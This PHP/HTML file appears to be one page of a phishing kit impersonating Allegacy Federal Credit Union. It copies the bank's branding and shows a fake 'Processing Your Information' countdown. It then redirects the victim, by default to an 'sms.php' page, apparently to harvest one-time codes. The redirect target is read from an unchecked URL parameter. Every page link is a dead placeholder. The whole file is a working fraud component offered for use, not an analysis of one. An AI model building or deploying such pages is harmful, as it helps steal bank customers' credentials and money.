<?php

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Lato:wght@300;400;700;900&family=Playfair+Display:ital,wght@1,600&display=swap" rel="stylesheet">
    <title>Allegacy — Please Wait</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --red:        #A6222E;
            --yellow:     #DAAA17;
            --yellow-dark:#b88d0f;
            --offwhite:   #F4F4F4;
            --text:       #1a1a1a;
            --text-muted: #777;
            --border:     #ddd;
        }
        html, body { height: 100%; font-family: 'Lato', sans-serif; color: var(--text); }
        body { display: flex; flex-direction: column; min-height: 100vh; }

        .utility-bar { background: var(--red); padding: 6px 40px; display: flex; align-items: center; justify-content: flex-end; gap: 28px; }
        .utility-bar a { font-size: 12px; color: rgba(255,255,255,0.88); text-decoration: none; }
        .utility-bar a:hover { color: #fff; }

        .main-nav { background: #fff; padding: 0 40px; display: flex; align-items: center; justify-content: space-between; height: 80px; border-bottom: 1px solid #e8e8e8; position: relative; z-index: 10; }
        .nav-logo img { height: 56px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; gap: 36px; }
        .nav-links a { font-size: 13px; font-weight: 700; color: var(--red); text-decoration: none; letter-spacing: 0.06em; text-transform: uppercase; }
        .btn-login-nav { background: var(--yellow); color: var(--text); border: none; border-radius: 22px; padding: 10px 26px; font-family: 'Lato', sans-serif; font-size: 14px; font-weight: 700; cursor: pointer; }

        .welcome-banner { background: var(--offwhite); border-bottom: 2px solid #e0e0e0; padding: 10px 40px; }
        .welcome-banner span { font-size: 12px; font-weight: 700; color: var(--red); letter-spacing: 0.1em; text-transform: uppercase; }

        .hero { flex: 1; position: relative; display: flex; align-items: center; justify-content: center; padding: 48px 20px; background: var(--offwhite); overflow: hidden; }
        .hero-photo { position: absolute; top: 0; right: 0; width: 52%; height: 100%; z-index: 1; }
        .hero-photo img { width: 100%; height: 100%; object-fit: cover; object-position: center top; display: block; }
        .hero-vector { position: absolute; inset: 0; z-index: 2; pointer-events: none; }
        .hero-vector img { width: 100%; height: 100%; object-fit: fill; display: block; }

        .card-wrap { position: relative; z-index: 4; }
        .login-card {
            background: #fff; width: 360px; text-align: center;
            border: 2px solid var(--red); border-radius: 4px;
            padding: 28px 30px 32px;
            box-shadow: 0 4px 24px rgba(0,0,0,0.14);
            animation: cardIn 0.45s cubic-bezier(0.22,1,0.36,1) both;
        }
        @keyframes cardIn { from { opacity: 0; transform: translateY(16px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 16px; }
        .card-logo img { height: 38px; width: auto; display: inline-block; }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 22px; }
        .step { display: flex; align-items: center; justify-content: center; width: 24px; height: 24px; border-radius: 50%; font-size: 11px; font-weight: 700; flex-shrink: 0; }
        .step.done   { background: var(--yellow); color: var(--text); }
        .step.active { background: var(--red); color: #fff; box-shadow: 0 0 0 3px rgba(166,34,46,0.15); }
        .step-line      { flex: 1; height: 2px; background: var(--border); border-radius: 2px; }
        .step-line.done { background: var(--yellow); }

        .ring-wrap { position: relative; width: 130px; height: 130px; margin: 0 auto 22px; }
        .ring-wrap svg { width: 130px; height: 130px; transform: rotate(-90deg); }
        .ring-track { fill: none; stroke: #f5e0e2; stroke-width: 6; }
        .ring-progress { fill: none; stroke: var(--red); stroke-width: 6; stroke-linecap: round; stroke-dasharray: 326.7; stroke-dashoffset: 0; transition: stroke-dashoffset 1s linear; filter: drop-shadow(0 0 5px rgba(166,34,46,0.35)); }
        .ring-label { position: absolute; inset: 0; display: flex; flex-direction: column; align-items: center; justify-content: center; }
        .ring-time { font-family: 'Playfair Display', serif; font-size: 30px; font-weight: 600; color: var(--red); line-height: 1; }
        .ring-unit { font-size: 11px; color: var(--text-muted); margin-top: 4px; letter-spacing: 0.08em; text-transform: uppercase; }

        .wait-heading h1 { font-size: 17px; font-weight: 700; color: var(--red); margin-bottom: 6px; }
        .wait-heading p { font-size: 13px; color: var(--text-muted); line-height: 1.65; max-width: 270px; margin: 0 auto 20px; }

        .prog-dots { display: flex; justify-content: center; gap: 8px; margin-bottom: 18px; }
        .prog-dots span { width: 8px; height: 8px; border-radius: 50%; background: #f0d8da; transition: background 0.4s, transform 0.3s; }
        .prog-dots span.lit { background: var(--red); transform: scale(1.2); box-shadow: 0 0 6px rgba(166,34,46,0.4); }

        .info-notice { display: inline-flex; align-items: center; gap: 8px; background: rgba(166,34,46,0.06); border: 1px solid rgba(166,34,46,0.15); border-radius: 3px; padding: 9px 15px; font-size: 12px; color: var(--red); font-weight: 700; }

        .page-footer { background: #1a1a1a; padding: 18px 40px; display: flex; align-items: center; justify-content: space-between; gap: 20px; flex-wrap: wrap; }
        .footer-links { display: flex; gap: 20px; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; }
        .footer-copy { font-size: 11px; color: rgba(255,255,255,0.3); }

        @media (max-width: 500px) { .login-card { width: 100%; } .hero { padding: 24px 16px; } }
    </style>
</head>
<body>

    <div class="utility-bar">
        <a href="#">Locations, ATMs</a><a href="#">Rates</a><a href="#">Careers</a><a href="#">Contact</a><a href="#">Fraud Support</a>
    </div>

    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="Allegacy"></div>
        <div class="nav-links"><a href="#">Personal</a><a href="#">Business</a><a href="#">About + Community</a><a href="#">Join</a></div>
        <button class="btn-login-nav">Login</button>
    </nav>

    <div class="welcome-banner"><span>Welcome to Allegacy Federal Credit Union</span></div>

    <div class="hero">
        <div class="hero-photo"><img src="res/img/background.jpeg" alt=""></div>
        <div class="hero-vector"><img src="res/img/hero-with-image-yellow-lines_new.svg" alt=""></div>
        <div class="card-wrap">
            <div class="login-card">
                <div class="card-logo"><img src="res/img/logo.svg" alt="Allegacy"></div>

                <div class="step-indicator">
                    <div class="step done">✓</div><div class="step-line done"></div>
                    <div class="step done">✓</div><div class="step-line done"></div>
                    <div class="step active">3</div>
                </div>

                <div class="ring-wrap">
                    <svg viewBox="0 0 110 110"><circle class="ring-track" cx="55" cy="55" r="52"/><circle class="ring-progress" id="rp" cx="55" cy="55" r="52"/></svg>
                    <div class="ring-label"><div class="ring-time" id="td">2:00</div><div class="ring-unit">remaining</div></div>
                </div>

                <div class="wait-heading">
                    <h1>Processing Your Information</h1>
                    <p>Please wait while we securely process your request. Do not close this window.</p>
                </div>

                <div class="prog-dots">
                    <span id="d0"></span><span id="d1"></span><span id="d2"></span><span id="d3"></span><span id="d4"></span>
                </div>

                <div class="info-notice">
                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
                    Do not close or refresh this page
                </div>
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 Allegacy Federal Credit Union. NCUA Insured. Equal Housing Lender.</div>
    </footer>

    <script>
        var next = "<?php echo htmlspecialchars($_GET['next'] ?? 'sms.php', ENT_QUOTES); ?>";
        const TOTAL = 120; let rem = TOTAL;
        const disp = document.getElementById('td'), ring = document.getElementById('rp');
        const CIRC = 2 * Math.PI * 52;
        const dots = [0,1,2,3,4].map(i => document.getElementById('d' + i));
        function tick() {
            const m = Math.floor(rem / 60), s = rem % 60;
            disp.textContent = m + ':' + String(s).padStart(2, '0');
            ring.style.strokeDashoffset = CIRC * (1 - rem / TOTAL);
            const lit = Math.floor(((TOTAL - rem) / TOTAL) * dots.length);
            dots.forEach((d, i) => d.classList.toggle('lit', i <= lit));
            if (rem <= 0) { clearInterval(t); window.location = next; } else rem--;
        }
        tick(); const t = setInterval(tick, 1000);
    </script>
</body>
</html>